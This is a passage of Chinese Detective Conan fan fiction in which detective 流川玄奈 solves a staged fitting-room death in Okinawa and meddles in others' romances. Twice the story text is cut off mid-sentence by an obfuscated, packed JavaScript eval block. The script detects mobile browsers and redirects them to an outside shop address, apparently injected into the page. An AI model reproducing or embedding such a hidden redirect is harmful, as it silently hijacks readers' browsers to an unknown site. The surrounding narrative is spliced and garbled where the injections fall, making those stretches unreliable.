流川玄奈下意识分析着她话中种种漏洞和可能隐情，但想到和案件大概无关，也不追问。 他们很快到了目的地。 美国村，这里是冲绳颇具代表性的商业区域，街道两旁分布着各式各样带有美式风格的店铺，九十年代的涂鸦墙面旁站着来自各地的游客，配上椰子树，倒还真有几分美国西海岸的感觉。 流川玄奈下了车，装作游客到达目的地的餐饮店，在孫崎香织负责的柏木一家里，死去的柏木阳菜女士生前是这家餐饮店的服务员，她带着女儿奈绪子住在附近的房子里。 两个月前，因为病情加重，柏木日菜把工作的机会转让给了最近才来冲绳投奔她的无业游民弟弟，柏木洋平。 这位柏木洋平先生，也成了柏木阳菜死后女儿柏木奈绪子的唯一监护人，他在短短几周内几乎挪用了全部遗产。 大概情况流川玄奈已经了解，她习惯亲自同嫌疑人接触。孫崎香织则在外面停车接应。 这家特色美食店氛围不错，流川玄奈点了餐，待了半个小时，和店长、老员工都聊了聊，却迟迟不见柏木洋平的身影。 直到下午三点的时候，一个穿着皱巴巴，神情萎靡的男性服务员才从正门进入，绕到工作间换衣服上班。 柏木洋平。流川玄奈目光越过人群，眯了眯眼。这个人全身都是疑点……这样的人是怎么通过监护人审核的？ 店里人很多，流川玄奈霸占着位子，以自己还在等人为理由，没有离开但也没有停下点餐。虽然很惹人瞩目，但她也等来了那个柏木洋平主动交谈。 几句对话下来，感觉不过是个普通的服务生。懒散，邋遢，这种人把钱花在了什么地方，又是是怎么做到…… 流川玄奈正想着，旁边忽然响起一个声音：“大姐姐，你坐在这里其实不是等人吧？” 一个五官端正，相当清秀的棕发小男孩站在桌边，手上还拿着根冰棒。这个孩子比景光还要小吧？ 流川玄奈有些好奇：“小朋友，你为什么这么说呢？” 小男孩理所当然地答道：“我爸爸几乎每天都要等人，他等人的时候总是在看书玩电脑，或者和其他人搭话。从来没有像你这样……大姐姐，你在观察谁呀？” “你很敏锐，不过人和人是不一样的，”流川玄奈决定对这孩子礼貌一些，“我在干什么和你没有关系。” 小男孩没被劝退，反而朝柏木洋平的方向看了看：“我想，一定是那个服务员吧。那个人真的很奇怪。” 他继续小声说着，这些话一定憋在他心里很久：“他明明很有钱却还在打工，那个牌子的手表我爸爸也有一只差不多的。我来这家店三次了！他每次都会换一块表。” 流川玄奈也来了兴趣，她蹲下身，换了换语气：“你来这么多次啦？他还有什么特别的地方，可以和我分享一下吗？” 这个年纪的小孩似乎对于大人的变脸见怪不怪，他想了想，马上开口，一边说一边不忘记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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得发一份给孫崎香织，由她联系律师。不仅如此，涉及到公职人员，这个案子的性质已经不一样了，流川玄奈向在公安工作的朋友说了这件事，这种涉及公职人员的案件，走公安渠道快得多。她以名人加黑田兵卫的朋友的身份，很快得到了对方的答复。 孫崎香织对于这个结果既震惊又感谢，说什么都要亲自请流川玄奈吃饭。流川玄奈婉拒后，还是打算赶去机场，提前一天回东京，她本来就这么打算的，见过其他可爱的小孩子，也会想赶紧回家陪陪自己家的小朋友。 这么想着，不远处一群说说笑笑的高中生突然闯入她的视线。 是长野的高中校服……美国村确实是不错的旅游景点。 眼镜男，眼镜女，长发男，长发女，高明，还有小桥葵。六人一组刚好是三男三女。 可惜美国村没有什么双人游玩的项目。不过接下来去海边应该有吧……流川玄奈盘算着。有气质的文学属性少女一直是她欣赏的对象。只要三观正常不像那个女人一样，她都会很有好感。 高中生，真好的年纪啊。与其说是希望他们发生什么，不如说是无论发生什么她都很期待——流川玄奈再次到了对恋爱憧憬的年纪！ 她就这样不自觉地跟了两步，过了个拐角，视线变得开阔。流川玄奈也是这个时候才注意到，这支队伍和诸伏高明说的不一样，还有第七个人，一直在小桥葵内侧和她聊天。 嘶，马尾辫配红色卷毛，明显不是他们高中的校服，冲绳本地的艺术生？！看着那两人聊得入神，想到诸伏高明刚才心事重重的样子——可恶啊，高明，小桥同学要被红毛骗走了！他人呢？！ 流川玄奈四处张望，视线被电线杆挡住，刚要探出身子—— “玄奈小姐。你在这里做什么啊？” 29.木之下与案件 “玄奈小姐，你在这里做什么啊？” 眼前的男高中生换上了平日在家穿的休闲装。明明才半年，他的身高已经和她差不多高了。 “好，好巧啊，高明……我的委托刚刚结束，”流川玄奈缓了缓，面不改色说着事实，随即抛出疑问：“那个红色头发的男孩子，怎么没有穿你们学校的校服？” 她心底当然没有面上那么淡定——千万不要因为她的突然出现导致诸伏高明被调走，进而影响原本的走向啊！ 是的，流川玄奈很担心，不远处的文学系女高和搞艺术的红毛站在一起确实般配。但她家高明也是气质沉静的书卷美男子。 不，关键还是要看小桥同学，还有高明是怎么想的。 因此，看到流川玄奈目光灼灼，诸伏高明颇为无奈地笑了笑，他大概猜到她在想什么：“那位是明石同学——” 话说一半，突然传来几声尖叫，男女都有，是从小桥葵他们那边传来。 流川玄奈第一时间越过诸伏高明冲了过去，尖叫声准确来说是在小桥葵他们旁边的服装店。 顺着店内众人的目光，她拉开试衣区的帘子，一位身穿深蓝色工装，胸口绣着“土肥”二字，面色青紫地侧躺在地。 流川玄奈一眼就注意到他脖颈处的吉川线。受害者在被勒住脖颈时，下意识用手拉扯造成的抓伤所形成的血痕，即为吉川线，这在这位受害者身上相当明显。 ……勒死他的凶器倒是不知所踪，地上除了散落的金属衣架外没什么别的线索。 “各位，请退后待在店内！”流川玄奈没有犹豫，一边环视周围一边指挥着，报警，封锁现场，判断死者身份。诸伏高明和她配合地相当默契，两人在警方赶来前稳住案发现场。 说来奇怪，几乎每个嫌疑人都有试图破坏现场的小动作，流川玄奈皱着眉一一记下，这类情况的案子往往涉及复杂的动机和人物关系，对她来说有些棘手。 在死者死亡时间经过试衣间的主要嫌疑人有三位。 按照先后次序，分别是这家服装店的新人设计师兼店员木之下小姐，顾客中岛小姐，顾客明石周作先生——也就是那个接近小桥葵的红毛艺术生。 根据三个人的口供以及现场调查，在这个角落一共有两间试衣间。前两位女士进去的时候最左边的门就关着，贴了个正在维修的标识。 因此，明石周作进来的时候，中岛小姐正好在右边的房间。他相当着急，于是打开左边维修标识的隔间，连带着发现了尸体。 身材高大的年轻警部整理着信息：“死者名叫土肥一朗，是这一带的员工。他是来维修试衣间的？” 一旁，金发，约莫三十岁，明显是混血的设计师店员木之下小姐开口答道，她显然被吓得不轻：“是的，我们店每隔一段时间，都要根据近期的风格更换各种装饰， 土肥先生今天是来帮忙的，真没想到会发生这种事情……” “嗯，也是，”那位警官随即好奇地转向更为可疑的红发高中生：“说起来，这是女装店的试衣间吧？明石同学，你为什么会进去？” “我有些洁癖，想尽快擦掉手里的颜料。”明石周作有些慌乱，“你们从外面看这个标识，真的很容易看错成卫生间……” 容易看错吗？流川玄奈分析着，死者会也是这个原因吗？可是外面也有公共厕所，这个点的人应该不多…… 在和警察说明自己的侦探身份后，流川玄奈又就各种细节盘问一遍，正思考着。诸伏高明走了过来。 “这是鉴证课发现的手机，我刚刚根据死者身上的笔记本推测出了密码，玄奈小姐，你看。” 流川玄奈和一旁的警官凑了过去，邮箱中的一条短信格外瞩目。 那位警官惊讶地立刻念出了声：“请到试衣间等我？木之下小姐，这个署名，是你发送的短信吧？” 木之下脸色骤变：“不是的，我从来没有和那个男人发过邮件！” 流川玄奈也侧过头反问：“你和土肥先生除了工作上，私下也有过沟通吧？” 她说着，将警方方才发现的证物拿起来晃了晃，“这是死者左手紧握着的珠子，如果将它们重新穿回细绳，一定是条和木之下小姐的风格很搭配的毛衣链吧？” 木之下脸色一僵，很快就承认了：“这是我几天前在店里丢失的毛衣链。居然在他身上……我拒绝了他的追求，仅此而已。” 一旁的顾客中岛女士立刻附和：“我知道土肥那家伙在纠缠木之下小姐，追求得相当过分。”她皱着眉，显然对此印象极差。 警官也叹了口气，感慨道：“哎，无论怎么样都不应该杀人。” 显然，这个毛衣链不仅是罪证也是凶器。 向来从容得体的女设计师此刻脸色苍白：“等一等，我真的没有杀人——” “先等指纹检测的结果吧。”流川玄奈开口，她的本意是安抚木之下……这起案件还有许多疑点。 …… “警官，既然现场没有发现绳子，那说明已经被凶手清理了，对吧？” “是啊，这位高中生小弟弟。你有什么问题吗？” 诸伏景光笑了笑，对自己的推理似乎十分自信：“凶手既然有空处理绳子，却没有处理珠子的时间——” 那位警官同样自信地迅速打断道：“珠子这种东西，一旦散开，本来就不好一颗颗清理，还混在这些衣架里。再说——就算全部清理了，死者手里握着的也根本没办法啊。” 他说完颇为得意，这个高中生小鬼看起来有模有样，解开了密码，没想到只是提出这种白痴的问题啊。他正要再说些什么，却看见那个男高中生笑意依旧。 “夫事以密成，语以泄败。” “什么？” 诸伏高明解释着：“您还没有意识到吗？如果木之下小姐是凶手，为什么要用足以指向自己的物品犯罪？这是眼下最大的问题吧？” 想要反驳的众人都在这个话题上哑口无言……与此同时，鉴证结果送达。并没有足够指向凶手的证据。 想要进一步证明和退一步都很难。 流川玄奈再次溜到案发现场，整理着思绪，两个隔间之间在顶部确实有缝隙，不过这个高度想要作案并不容易。 刚刚他们的争论也有道理，除了凶器以外，凶手在其他方面实在是毫无破绽。要勒死一个体型更强壮的成年男性，木之下几乎不可能毫发无伤。 正常的可能性解释不通，那就换个角度。 死者是踩着椅子自己上吊呢？ 不，这样的话声音一定会很大，而且不好伪装成他杀。他杀的关键是吉川线，他是怎么做到既没有什么声音， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357620|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又能让自己双手空出来…… 目光随着思绪转动，用全新的预设来看地上的这些衣架，流川玄奈恍然大悟。 “警官，我已经知道真相了，麻烦您按我说的做。” 流川玄奈简洁地复现着现场：“多个衣架互相卡住，就可以和毛衣链组成简易滑轮结构……链条绕过上方，一端套在颈部，另一端——由本人向下拉紧。这样，当人向下蹲时，链条会反向收紧。” “他空出的双手就在这个时候制造吉川线……最后，时间流逝，水溶性的绳子也会被血液和空气中的水分缓慢溶解，现场就成了我们看到的样子。” 警官皱紧眉头，仍旧不肯轻易接受：“听起来是有道理……但这终究只是推理。要完成你说的这些，不仅需要动手能力，还需要足够的空间。你要怎么证明呢？” “等一下，流川侦探。试衣间吊灯的灯座为了装饰，是可以拆卸的。”一旁的木之下突然惊起，她的声音微微发紧，“加上那里，如果把那一部分也算进去，这个结构是成立的。” “不，就算你这么说，也还是缺少证据。” 流川玄奈摇头：“那个地方上次由别的工人清理过。而这位土肥先生今天还没机会接触过那里，他要想伪装自杀，可不好准备清理指纹的手段。” 真相果然如此。暗恋，爱而不得，最后选择自杀栽赃。怎么会有这种人渣？ 流川玄奈正感慨着，这家店的男店长这会才赶到，他似乎很喜欢表演，一边大喊：“土肥你死的好惨啊！” 随即，他猛地转向木之下，脸色不善：“你根本没有喜欢的人吧？不然怎么会三十岁了还不结婚！ 土肥愿意和你在一起是你的荣幸！要不是你一直拒绝他。他也不会做出自杀的行为。” 流川玄奈眉头紧皱。她很讨厌这种人，不，准确一点，在组织她根本见不到这种奇葩。 在流川玄奈纠结如何教训对方不至于犯法的时候，诸伏高明已经拉上还没离开的警察，三言两语就让这店长不得不给木之下赔礼道歉。 这件事再加上破了案子，木之下小姐为了感谢他们，提议请客吃饭。 路上，氛围依旧不佳，那位中岛顾客轻轻叹了口气，她似乎是木之下的熟人：“芙莎绘，你也该走出来了吧？这次可是被牵扯进了命案啊！” 似乎还有故事。 流川玄奈好奇，但她自认为克制住了，没有像一旁诸伏高明的那几个同学一样把好奇写在脸上。 芙莎绘·木之下似乎并不觉得冒昧，她只是笑了笑，温和地开口。 “那是二十年前的事情了，” 芙莎绘诉说了自己给初恋在邮箱里留下了关于十年后再见面的约定…… “可惜，好像只有我还记得这个约定……我大概只是被甩了。” 现场氛围比刚才还要低落。对于诸伏高明这几个高中生同学——尤其是打算在修学旅行告白来场青春校园恋爱物语的人来说，这个故事显得现实又沉重了。 这样漫长到令人退缩的等待，是能够浇灭虚浮的热忱，让人一下子退缩不敢表白。 那些微妙的迟疑、动摇，他看得很清楚。诸伏高明默默将目光从同学们身上移开，不自觉停留在那位同样在沉思的小姑身上。 ……苏格兰对于她，应该也是这么沉重的感情吧？ 30.年龄相差无法理解的恋情 流川玄奈并没有和众人一起去吃饭：她将先前买到的伴手礼分给诸伏高明的同学，还有经历案件的芙纱绘小姐，随后便赶去机场搭乘最近的一班航班。 按时间算，晚上九点左右就能抵达。 …… “高明同学，能亲眼见到流川侦探推理真是太好了——这份礼物我也很喜欢！”小桥葵温和地表达着谢意。她身旁，深红色头发的明石周作也跟着笑了笑。 他明明是笑着看向诸伏高明，浑身的沉郁气质在这个时候散发开：“是啊，诸伏同学，你这位小姑可真是太有意思了。” 这个语气明显不对劲。 明石他是对自己不满？还是对玄奈小姐？ 诸伏高明皱着眉分析。 明石周作的目光毫不遮掩地落在自己手上的票券。这是刚才流川玄奈递来的冲绳文化展览单人票。 ……原来如此。 对方都表现得这么明显，他再装做没看见反而不合适。 诸伏高明对自己的结论很满意，决定给出一个自认为周全的回应：“明石同学也对这个展览感兴趣吗？我不介意和你一起。” —— 几个小时后，长野，流川宅， “我回来了。一个人在家辛苦啦！” “欢迎回来。”诸伏景光从客厅看过来，顺手把电视的音量调小了一点，“玄奈姐也辛苦了，路上顺利吗？” “相当顺利哦，”流川玄奈换好鞋，语气恢复以往在家时的轻松，“我顺利地把仅有的两张文化展的票给高明和小桥小姐了哦。” “是和古代文学有关的展览吗？”见流川玄奈轻快地点头，诸伏景光也笑了：“这个主题，高明哥哥应该很喜欢。” “嗯，我也是这么判断的……小桥同学说不定也很喜欢。”流川玄奈分享着自己的计划，“这样绝对可以制造独处，我查过那个展览——景光，我脸上有什么吗？” “只是很少见到玄奈姐在案件之外的事情这么主动，我觉得很新奇。” “诶，这么明显吗？”流川玄奈回忆着自己的行为，不放心地追问，“这样的主动会对你们造成困扰吗？” 诸伏景光摇了摇头，又好奇地问道：“玄奈姐，为什么这么在意高明哥和小桥小姐呢？” 流川玄奈低头边搅着碗里的汤边整理思绪：“……明明还有另一种可能，却因为没有及时行动而结束，之后再想反悔却没有机会，错过就是错过。” 就像是，那天没能说出口的告白。 流川玄奈缓了缓，作结论道：“我不想看到这种情况。” 她不希望喜欢的人的兄长也经历这些。 诸伏景光安静地听着：“错过……听起来是很可怕的事情。” “是啊，”流川玄奈喝了口汤，奶油的醇厚和菌菇的鲜味搭配出的口感实在独特，让人念念不忘。 “今天的案件也一样。爱而不得后心理扭曲，用死亡栽赃他人，又或者选择漫长看不到结局的等待。无论哪一种，我认为都是执念的体现。” 她的视线回到诸伏景光身上，她看得只是诸伏景光：“这样的话对于你来说一定太早了，不过，小光，你一定不会成为这样的人的。我们约定吧？” 这样的人有她一个就够了。 诸伏景光微微愣住，随即像以往面对流川玄奈突如其来的奇怪关心一样笑了笑：“嗯，没问题的，玄奈姐。” “谢谢你……景光。”流川玄奈迟迟没回过神，客厅的电话在这时突然响起。 …… 流川玄奈挂断电话，提起精神，对诸伏景光说了新的安排：“等高明结束修学旅行后，我打算去东京呆两天。时间有些紧挑在工作日，要去的地方也比较偏……” 诸伏景光相当贴心：“那我就不去啦，刚好下周敢助哥说准备了惊喜要给我看。” “是吗，麻烦景光之后转述给我哦。” 流川玄奈摸了摸眼前男孩毛茸茸的头，他其实心里也很想见降谷零吧？肯定又是不想给她添麻烦。 ……慢慢来吧。 于是，新的一周， 米花町2丁目22番地。 阿笠博士一觉醒来，就听到门外不断传来门铃声，透过对讲门铃看过去，是个从打扮到神态都相当随意的女性，长风衣，公文包，披散着头发，像是匆匆赶来的一样。 那女人将墨镜推到额头上方展示友好：“初次见面，请问您是姓阿笠名博士的阿笠博士吧？” 阿笠博士没有回答，他隔着可视门铃，相当警惕。自从搬到这里，每天都有这样的推销的人上门。 见没有回应，那女人也不急，就这么原地站着，像是笃定阿笠在家一样。 阿笠博士一时间有些拿不定主意。正僵持着，一个熟悉的声音忽然从门外传来： “啊，这不是长野县的流川侦探吗？早上好。”一个阿笠博士熟悉的声音从门外传来，随即是流川玄奈的回答。 “啊，工藤先生——还有有希子小姐，早上好，您息影的事情对我来说真的好可惜。” 阿笠博士这才开门，好奇道：“工藤先生，你们认识啊？” 流川玄奈没再客套，直接点头：“我是来自长野侦探的流川玄奈，这位阿笠博士，你有没有什么谜题一直挂念在心里？” “谜题？”阿笠博士愣了愣，但还是乖乖挠了挠还有头发的头顶，然后坦诚地摇头：“抱歉啊，你突然这么一问，我还真不知道怎么回答。” 流川玄奈微微皱眉：“想不出来的谜题，不是应该一直记着吗？” 她心里可有太多想不出来的难题啊。 工藤优作也表现出了赞成，似笑非笑道：“是啊，我是无论如何都不会把没有解决的问题扔到一旁的。” 工藤有希子毫不客气地拍了拍丈夫：“真是的，又不是所有人都像你们两个一样是推理狂。” 说完，她相当无奈地看向小腹，语气幽怨：“这个孩子可千万不要和你一样，满脑子都是案件啊。” 这回轮到流川玄奈说不出话，穿越前她关注过藤峰有希子，知道对方结婚没多久就有孩子，只是没想到这么早，有希子现在也才20岁吧？！是比流川玄奈自己还要小的年纪……流川玄奈目光复杂地看向工藤优作。 工藤优作显然误会了这个眼神，还以为是交流推理，于是推了推眼镜：“流川侦探，你所掌握的信息，原话一定不是谜题吧？” “……是的，”流川玄奈更加无话可说，她不得不感慨此人能力确实配得上偶像，只好将刚才的不快暂且压下，回到此行的目的，“原话是约定。二十二年前的约定。” 阿笠博士的表情明显变了：“这位，流川侦探，你是怎么知道这件事的？你为什么要来找我呢？” 流川玄奈路上想了好几个借口，决定挑最有把握的：“最近互联网正在兴起，国内外都很流行有关的内容创作。” 她顿了顿，仔细观察对方的表情，“我正在准备的是能够推广侦探事务所业务的视频创作，第一期的主题就是随机上门寻找案件的挑战。地址，还有刚才‘约定’，‘二十二年前’，都是随机选择的关键词……” 流川玄奈靠着对未来互联网的了解不懈努力，阿笠博士的表情也从“哎呀别开玩笑了”变成“哇，我真是太幸运啦！” 能够忽悠过去，还要感谢一旁工藤夫妇没有拆台。 和流川玄奈计划的一样，阿笠博士没多久就找到了那封信封。两年前正是二十年约定的日子，那时候他还去猜测的地方等待过，所以找的很快。 “那么多年前的事情，你真的还记得吗？”流川玄奈试探着开口，没想到阿笠博士点了点头，眼里闪过怀念，回忆也随之被勾起。 他将自己和芙纱绘的故事娓娓道来。小学时代的相遇在他心中同样是难以忘怀的经历。 一旁，小说家和表演家安静地听着——那对新婚夫妇听着听着就腻歪在一起，这样的故事很让他们动容。流川玄奈听完只想感慨，这果然是个青梅竹马无敌的世界。 她把注意力放到那封信上。 泛黄的纸片，原文确实是很真挚的情感。像是什么10年后的今天一定要见面。见不到你就再等10年也所谓。留给最最最喜欢的人。 她不觉得是爱情。不过这已经是二十二年前的情感……流川玄奈在心里对自己很是鄙夷。没事找事跑过来的是她，现在不知所措的也是她。 工藤优作接过信件，只看了两眼，又作出平日那副笑容，他显然已经猜到了地点，但又没有直接说答案的意思。 “抱歉，博士，这个问题，我认为不是靠自己想起来的没有意义，也辜负了当时对方的心意，” 他看向阿笠博士，语气又转向鼓励：“即便已经过去了二十二年，但和四十年比也不算很久。如果能找到约定的地点，对方说不定留下过什么线索——” 说到这，他看了一眼手表，语气变得为难起来：“啊，我和太太买的新生儿用品应该到门口了。我们先走了。” 说完，他拉着有希子礼貌地离开。 两人刚出门，工藤有希子便相当不放心地低声开口：“优作，你刚刚是不是说得太含蓄了？” “阿笠博士的状态……真的不用再提醒他一点吗？” “我刚刚说的理由不是很准确吗？”工藤优作牵起妻子的手，安抚道，“好啦，有希子，在场不是还有一位已经知晓答案，并且特意为此出现在这里的侦探吗？” 房间内，流川玄奈打了个喷嚏。 她的笔记本上已经多了几行内容，工藤优作刚刚的话还真是给了她不少灵感。 也许可以这样安排…… —— “所以，流川你去了趟东京，就是去给人家说媒啊。你也到这个年纪了啊。” 几日后，长野面馆， 坐在她对面的大和敢助趁着诸伏高明不在疯狂吐槽，“你最近怎么这么奇怪，连高明都和我念叨。” “诶？真的假的？！” 流川玄奈停下吃面的动作，诸伏高明在她面前从来只有礼貌客气，原来是在背后偷偷说吗？！ “当然了，你可是在修学旅行把他害得不轻。” 流川玄奈更蒙了，她还要追问，大和敢助却卖起了关子，挑了挑眉：“不告诉你，高明那家伙说会自己和你说清楚。” 流川玄奈知道大和敢助和诸伏高明每天看着不对付感情却是相当好，于是转向一旁专心吃瓜的女生：“小由衣可以告诉我吗？” 难得看到流川玄奈求人的神色，上原由衣也停下手中的筷子，帮着问大和敢助：“阿敢，就先告诉玄奈姐吧？” “哎，烦死了，你不是给他和小桥一人一张张文化展的票吗，”大和敢助一脸无奈，“其实就是，额，怎么说就是……” 他说了半天，流川玄奈只听出后续的走向确实戏剧化，以及此人没有和诸伏高明一组，知道的实在模糊，便摆摆手：“算了，我还是先不听了。” 她又开始搅着碗里的面汤，长叹了口气：“恋爱有关的话题真的让人迷茫啊。在东京看到的那场爱情故事也是。” “哦，”大和敢助冷不丁问：“迷茫？有多迷茫？” “大概就是比推理案件还烦恼吧，那种东西第一时间想不清楚，跑到雨里淋一淋也该想清楚了。” “嘶，玄奈姐，听起来很容易生病啊。” “是啊，”流川玄奈点头，道：“好在那个时候一辆暴走大卡车冲过去！把我一下子从没什么意义的迷茫中惊醒了。”< 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流川玄奈抛出自己在雨中没想出来的问题：“为什么芙纱绘能因为小学的事情等阿笠博士等那么多年啊，我还是很难理解。” “毕竟真的很感人啊，”上原由衣提议到：“感受本来就是因人而异的吧？” 大和敢助也调侃道：“就像对流川侦探而言，阻止卡车事故的感受，似乎还不如对于恋爱故事的看法。” 就在这时，话题中的高中生从店外进入，他刚刚去附近的杂货店买完东西：“你们在聊什么？卡车事故？” 流川玄奈将早就点好的荞麦面连盘子一并递过去，语气自然：“东京那个佐藤警官，你还记得吧。 诸伏高明点头，早在外守一的案子他就和佐藤正义接触过，那是绝对算得上人民公仆标杆的警官。 流川玄奈更为详细地叙述了自己在给阿笠博士和芙纱绘牵线搭桥后，如何偶遇佐藤正义，进而推断他和犯人的关系，阻止犯人冲向卡车自杀。 “那时候犯人冲向卡车，佐藤警官大概率也会受伤，四舍五入我也算救了佐藤警官，再加上之前的两起案子，他们一家执意要感谢我，盛情难却。” 诸伏高明微微点头，有惊无险的救人在流川玄奈身上经常发生。 “然后，他们给我介绍了相亲对象。” ？？？ —— 流川玄奈还记得当时的场景， 饭桌上，佐藤美和子比诸伏景光还要小一岁。现在的流川玄奈已经可以努力和这个年纪小孩打成一片了，连佐藤太太见了也夸赞道：“玄奈在美和子身边像姐姐一样呢。” 佐藤正义笑了笑，和太太解释：“诶，别这么说，流川家里还有比美和子大的两个养子呢！” “啊，真是看不出来！” 流川玄奈像以往一样介绍自己的监护人身份：“啊，辈分上确实是长辈，不过一开始想和他们相处得轻松一点，就让他们直接叫我姐姐了。” “这样啊。”佐藤太太话锋一转，“玄奈还是单身吧。你也二十六了，不小了。这样会有很多困扰的。” ……嘶。 流川玄奈大概知道了诸伏高明的感受。 穿越前她没有经历过这些。不过佐藤夫妇二人的话并没有让人感到越界，甚至对她来说还蛮暖心的。毕竟现在整个日本的观念都是这样，他们确实是在为她考虑。 流川玄奈没有料到这样的情况，她一向不擅长临场发挥，慌乱间说自己有在意的人。可偏偏是自己都不敢说出口的名字，别人听了只当她是退位。 “玄奈姐姐喜欢什么样的男孩子？我爸爸手底下有好多帅气的警察哦！” 就连佐藤美和子都这么说。流川玄奈想回家，流川玄奈试图拒绝。 最后离开时，她还是被强塞了所谓优质相亲对象的电话。 “玄奈，可以回去和孩子们沟通讨论看看。说不定他们也希望家里多一个人呢？” 佐藤太太的话还回荡在耳边。 怎么可能啊。流川玄奈复述完，只顾着观察诸伏高明的反应。他估计是在担心这件事会不会对景光有所影响。 一旁的上原由衣已经对这幅局面没什么好说的了。大和敢助更是一副看好戏的样子。 “放心，相亲对象应该只是目暮警官之类的。” 并不是说讨厌警察或嫌弃目暮警官这类型。相反，流川玄奈喜欢的类型只会是警察。 她说出早就想好的理由，自以为是在安抚诸伏高明：“我会以长野和东京之间通行不便回拒的。” “那位目暮警官已经有结婚的对象了，”诸伏高明突然开口，看了她一言，语气不紧不慢，“我记得是两年前在针对不良少女的案件中认识的，受害者的同学。” 流川玄奈顿住，比起诸伏高明居然关注了这样的事。她更惊讶的是——年龄！ 她一下子联想到工藤夫妇，虽然说有希子才二十岁，但是人家夫妻两年纪没差多少啊！目暮警官居然谈了个十八岁的女孩子。这，这和她去谈高明敢助这个年纪的没什么区别啊！ 啊，这就是这个时代她的同龄人，虽然知道人家肯定又有什么感天动地的爱情故事，流川玄奈难免还是有些在意，她略显狼狈地干笑着，把话题转回自己身上：“哈哈，我现在其实对相亲和谈恋爱都不感兴趣啦。” “那倒是可惜，”他若无其事地夹起蘸料，“我还以为有我能够帮忙的机会，毕竟玄奈小姐之前就很热衷这件事。” 看这家伙的表情——流川玄奈难得可以轻松看出诸伏高明的意思。他果然是在生气她之前乱做媒啊。 该怎么说……好新奇。 一向内敛深沉的dk突然作出这样的反应，还蛮可爱的？就像苏格兰一样。 …… ……她怎么可能放下苏格兰啊。